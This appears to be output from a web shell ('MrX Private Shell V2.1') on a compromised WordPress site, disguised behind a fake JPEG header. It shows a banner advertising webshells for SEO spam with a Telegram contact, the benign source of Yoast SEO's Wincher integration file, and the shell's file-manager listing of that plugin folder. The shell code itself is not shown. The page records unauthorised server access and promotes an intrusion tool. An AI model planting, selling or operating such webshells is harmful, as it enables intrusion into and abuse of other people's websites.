����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Yoast\WP\SEO\Integrations\Third_Party;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Helpers\Wincher_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast_Feature_Toggle;
/**
* Adds the Wincher integration.
*/
class Wincher implements Integration_Interface {
/**
* The Wincher helper instance.
*
* @var Wincher_Helper
*/
protected $wincher;
/**
* The Wincher integration toggle constructor.
*
* @param Wincher_Helper $wincher The Wincher helper instance.
*/
public function __construct( Wincher_Helper $wincher ) {
$this->wincher = $wincher;
}
/**
* Initializes the integration.
*
* @return void
*/
public function register_hooks() {
/**
* Called by Yoast_Integration_Toggles to add extra toggles to the ones defined there.
*/
\add_filter( 'wpseo_integration_toggles', [ $this, 'add_integration_toggle' ] );
/**
* Called in dashboard/integrations.php to put additional content after the toggle.
*/
\add_action( 'Yoast\WP\SEO\admin_integration_after', [ $this, 'after_integration_toggle' ] );
/**
* Add extra text after the network integration toggle if the toggle is disabled.
*/
\add_action( 'Yoast\WP\SEO\admin_network_integration_after', [ $this, 'after_network_integration_toggle' ] );
}
/**
* Returns the conditionals based in which this loadable should be active.
*
* @return array The conditionals.
*/
public static function get_conditionals() {
return [ Admin_Conditional::class ];
}
/**
* Adds the Wincher integration toggle to the $integration_toggles array.
*
* @param array $integration_toggles The integration toggles array.
*
* @return array The updated integration toggles array.
*/
public function add_integration_toggle( $integration_toggles ) {
if ( \is_array( $integration_toggles ) ) {
$integration_toggles[] = (object) [
/* translators: %s: 'Wincher' */
'name' => \sprintf( \__( '%s integration', 'wordpress-seo' ), 'Wincher' ),
'setting' => 'wincher_integration_active',
'label' => \sprintf(
/* translators: %s: 'Wincher' */
\__( 'The %s integration offers the option to track specific keyphrases and gain insights in their positions.', 'wordpress-seo' ),
'Wincher'
),
'order' => 11,
'disabled' => \is_multisite(),
];
}
return $integration_toggles;
}
/**
* Adds the disabled note when the integration toggle is disabled.
*
* @param Yoast_Feature_Toggle $integration The integration toggle class.
*/
public function after_integration_toggle( $integration ) {
if ( $integration->setting === 'wincher_integration_active' ) {
require \WPSEO_PATH . 'admin/views/tabs/metas/paper-content/integrations/wincher.php';
if ( \is_multisite() ) {
$this->get_disabled_note();
}
}
}
/**
* Adds the disabled note to the network integration toggle.
*
* @param Yoast_Feature_Toggle $integration The integration toggle class.
*/
public function after_network_integration_toggle( $integration ) {
if ( $integration->setting === 'wincher_integration_active' ) {
$this->get_disabled_note();
}
}
/**
* Outputs the disabled note.
*
* @codeCoverageIgnore
*
* @return void
*/
protected function get_disabled_note() {
echo '<p>', \sprintf(
/* translators: %s expands to Wincher */
\esc_html__( 'Currently, the %s integration is not available for multisites.', 'wordpress-seo' ),
'Wincher'
), '</p>';
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| amp.php | File | 1.46 KB | 0644 |
|
| bbpress.php | File | 1.42 KB | 0644 |
|
| elementor.php | File | 24.43 KB | 0644 |
|
| exclude-elementor-post-types.php | File | 936 B | 0644 |
|
| exclude-woocommerce-post-types.php | File | 907 B | 0644 |
|
| jetpack.php | File | 836 B | 0644 |
|
| w3-total-cache.php | File | 828 B | 0644 |
|
| web-stories-post-edit.php | File | 1.21 KB | 0644 |
|
| web-stories.php | File | 3.96 KB | 0644 |
|
| wincher-publish.php | File | 4.47 KB | 0644 |
|
| wincher.php | File | 3.42 KB | 0644 |
|
| woocommerce-permalinks.php | File | 2.91 KB | 0644 |
|
| woocommerce-post-edit.php | File | 1.47 KB | 0644 |
|
| woocommerce.php | File | 9.44 KB | 0644 |
|
| wordproof-integration-toggle.php | File | 4.73 KB | 0644 |
|
| wordproof.php | File | 7.04 KB | 0644 |
|
| wpml-wpseo-notification.php | File | 3.37 KB | 0644 |
|
| wpml.php | File | 1.83 KB | 0644 |
|